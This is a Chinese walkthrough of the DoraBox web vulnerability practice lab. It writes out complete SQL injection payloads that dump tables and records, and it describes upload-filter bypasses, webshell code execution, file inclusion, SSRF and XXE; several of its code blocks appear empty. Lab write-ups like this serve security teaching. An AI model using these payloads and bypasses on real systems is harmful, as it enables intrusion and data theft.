哆啦盒(DoraBox)靶场通过教程

Sql注入

直接开始第一关,sql注入数字型

哆啦盒(DoraBox)靶场通过教程_第1张图片

源码中id是htmlspecialchars过滤的,过滤是过滤单引号,双引号,尖括号和&的,但是过滤的是html实体并不会影响我们的操作

哆啦盒(DoraBox)靶场通过教程_第2张图片

-1 union select 1,2,3

哆啦盒(DoraBox)靶场通过教程_第3张图片

爆数据库:-1 union select 1,user(),database()

哆啦盒(DoraBox)靶场通过教程_第4张图片

爆表:-1 UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()

哆啦盒(DoraBox)靶场通过教程_第5张图片

爆列名:-1 UNION SELECT 1,2,group_concat(column_name) from information_schema.columns where table_name='news'

哆啦盒(DoraBox)靶场通过教程_第6张图片

爆值:-1 UNION SELECT 1,2,concat_ws('|',id,title,content) from news

哆啦盒(DoraBox)靶场通过教程_第7张图片

下一关

Sql注入字符型

这关和之前是差不多的,就是要闭合一下单引号即可

哆啦盒(DoraBox)靶场通过教程_第8张图片

DoraBox' and '1'='2' union select 1,2,3'&submit=submit

哆啦盒(DoraBox)靶场通过教程_第9张图片

爆表:DoraBox' and '1'='2' UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--

哆啦盒(DoraBox)靶场通过教程_第10张图片

DoraBox' and '1'='2' UNION SELECT 1,2,group_concat(column_name) from information_schema.columns where table_name='news'--

哆啦盒(DoraBox)靶场通过教程_第11张图片

DoraBox' and '1'='2' UNION SELECT 1,2,concat_ws('|',id,title,content) from news--

哆啦盒(DoraBox)靶场通过教程_第12张图片

下一关

Sql注入搜索型

这里百分号和单引号都需要闭合

哆啦盒(DoraBox)靶场通过教程_第13张图片

爆表:-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#

哆啦盒(DoraBox)靶场通过教程_第14张图片

爆列:-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='pentest' and table_name='account'#

爆数据:-1' union select 1,2,concat_ws(",",id,rest,own) from account#

哆啦盒(DoraBox)靶场通过教程_第15张图片

Xss跨站

Xss反射型

哆啦盒(DoraBox)靶场通过教程_第16张图片

源码里会打印内容

哆啦盒(DoraBox)靶场通过教程_第17张图片

当然我们还可以在本地搭建一个xss

哆啦盒(DoraBox)靶场通过教程_第18张图片

在网站上输入

哆啦盒(DoraBox)靶场通过教程_第19张图片

就会跳转到这个页面然后中了我们的xss代码

下一关

Xss存储型

这个xss是存储到数据库里的,每次刷新当前页面都会执行

先输入,然后刷新页面就会执行

哆啦盒(DoraBox)靶场通过教程_第20张图片

哆啦盒(DoraBox)靶场通过教程_第21张图片

下一关

Xssdom型

输入

哆啦盒(DoraBox)靶场通过教程_第22张图片

这里会打印我们的xss代码

哆啦盒(DoraBox)靶场通过教程_第23张图片

下一关

CSRF

Json劫持

Json劫持就是要把打印的数据,远程调用 JSON 文件来实现数据传递

代码块






JSONP劫持测试





哆啦盒(DoraBox)靶场通过教程_第24张图片

address可以换成其他的,列如email从而获取它的email值

下一关

CORS跨域资源读

我们可以构造我们html页面来劫持它的内容

代码块:




    
    Ajax


Ajax 发送 get 请求

哆啦盒(DoraBox)靶场通过教程_第25张图片

哆啦盒(DoraBox)靶场通过教程_第26张图片

下一关

文件包含

任意文件包含

 

假设我们要包含它就直接输入txt.txt即可

哆啦盒(DoraBox)靶场通过教程_第27张图片

哆啦盒(DoraBox)靶场通过教程_第28张图片

源码中,这里是直接包含的,中间没有过滤

哆啦盒(DoraBox)靶场通过教程_第29张图片

下一关

目录限制文件包含

源码这里其实并没有限制目录文件包含

./点斜杠其实是指当前目录的意思,并没有起到限制的作用

哆啦盒(DoraBox)靶场通过教程_第30张图片

哆啦盒(DoraBox)靶场通过教程_第31张图片

下一关

 

文件上传

 

任意文件上传

这个页面上传什么文件都可以,不多介绍

哆啦盒(DoraBox)靶场通过教程_第32张图片

下一关

Js限制文件上传

直接限制了我们上传php文件

哆啦盒(DoraBox)靶场通过教程_第33张图片

在上传处审计元素

这里只要把onsubmit直接删掉让js代码不起作用即可

哆啦盒(DoraBox)靶场通过教程_第34张图片

下一关

 

Mime限制上传

只要是这四种类型的mime都给上传,那我们直接抓包Content-Type改下即可

哆啦盒(DoraBox)靶场通过教程_第35张图片

哆啦盒(DoraBox)靶场通过教程_第36张图片

下一关

 

扩展名限制文件上传

 

这里源码中限制了一些后缀,我们把后缀改成php3即可

哆啦盒(DoraBox)靶场通过教程_第37张图片

哆啦盒(DoraBox)靶场通过教程_第38张图片

下一关

内容限制上传

这关可以直接用图片马来绕过

哆啦盒(DoraBox)靶场通过教程_第39张图片

下一关

 

任意代码执行

这里用assert来执行代码,可以说是webshell了

哆啦盒(DoraBox)靶场通过教程_第40张图片

哆啦盒(DoraBox)靶场通过教程_第41张图片

webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门

 

下一关

任意命令执行

这里是用exec来执行,函数功能:允许执行一个外部程序,如unix shell或cmd命令等;

哆啦盒(DoraBox)靶场通过教程_第42张图片

下一关

 

SSRF

 

这里是用file_get_contents来获取的值,比如获取我们的百度首页,再比如获取自己网站的信息

哆啦盒(DoraBox)靶场通过教程_第43张图片

哆啦盒(DoraBox)靶场通过教程_第44张图片

哆啦盒(DoraBox)靶场通过教程_第45张图片

下一关

 

其他

 

条件竞争-支付

这关没发现漏洞啊

哆啦盒(DoraBox)靶场通过教程_第46张图片

不管是正的数字还是负数都不行

哆啦盒(DoraBox)靶场通过教程_第47张图片

自动化也不行

哆啦盒(DoraBox)靶场通过教程_第48张图片

下一关

条件竞争-上传

 

源码里有一个白名单,上传后,如果不在白名单里,文件就会被删除

哆啦盒(DoraBox)靶场通过教程_第49张图片

我们通过多个文件一同发送,在删除文件之前,得到访问

源码里面有poc

哆啦盒(DoraBox)靶场通过教程_第50张图片

下一关

任意文件读取

 

这是可以读取任意文件的

哆啦盒(DoraBox)靶场通过教程_第51张图片

下一关

 

Xxe

这里是用php协议读取文件的

哆啦盒(DoraBox)靶场通过教程_第52张图片

刷新页面抓包改成

代码块





]>

&hellwork;Mikasa

哆啦盒(DoraBox)靶场通过教程_第53张图片

哆啦盒(DoraBox)靶场通过教程_第54张图片

通关

 

 

 

 

 

 

 

 

 

 

 

 

你可能感兴趣的:(安全)